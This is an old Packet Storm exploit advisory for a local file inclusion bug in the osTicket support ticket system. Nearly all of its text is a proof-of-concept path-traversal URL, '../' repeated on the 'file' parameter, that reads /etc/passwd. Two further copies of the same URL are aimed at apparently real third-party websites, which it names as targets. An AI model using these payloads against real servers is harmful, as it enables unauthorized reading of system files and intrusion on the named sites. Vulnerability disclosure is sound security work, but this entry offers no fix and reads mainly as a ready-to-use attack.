osTicket Local File Inclusion

2010-11-09T00:00:00
ID PACKETSTORM:95646
Type packetstorm
Reporter d3v1l
Modified 2010-11-09T00:00:00

Description

                                        
                                            `[~]----------------------------------------------------------------------------------------------------------------------  
[~] osTicket - Open Source Support Ticket System (module=osTicket&file=) Local File Inclusion   
[~]  
[~] http://osticket.com  
[~]   
[~]   
[~] ----------------------------------------------------------------------------------------  
[~] Bug founded by d3v1l [Avram Marius]  
[~]  
[~] Date: 8.11.2010  
[~]  
[~]  
[~] http://security-sh3ll.blogspot.com | http://twitter.com/securityshell  
[~]  
[~] ----------------------------------------------------------------------------------------  
[~] Poc :-  
[~]  
[~] http://site.com/module.php?module=osTicket&file=../../../../../../../../../../../../../../etc/passwd  
[~]   
[~] Ex :-  
[~]  
[~] http://daemag.com/Support/module.php?module=osTicket&file=../../../../../../../../../../../../../../etc/passwd   
[~]   
[~] http://hostalvirtual.com/live/module.php?module=osTicket&file=../../../../../../../../../../../../../../etc/passwd  
[~]-----------------------------------------------------------------------------------------------------------------------  
`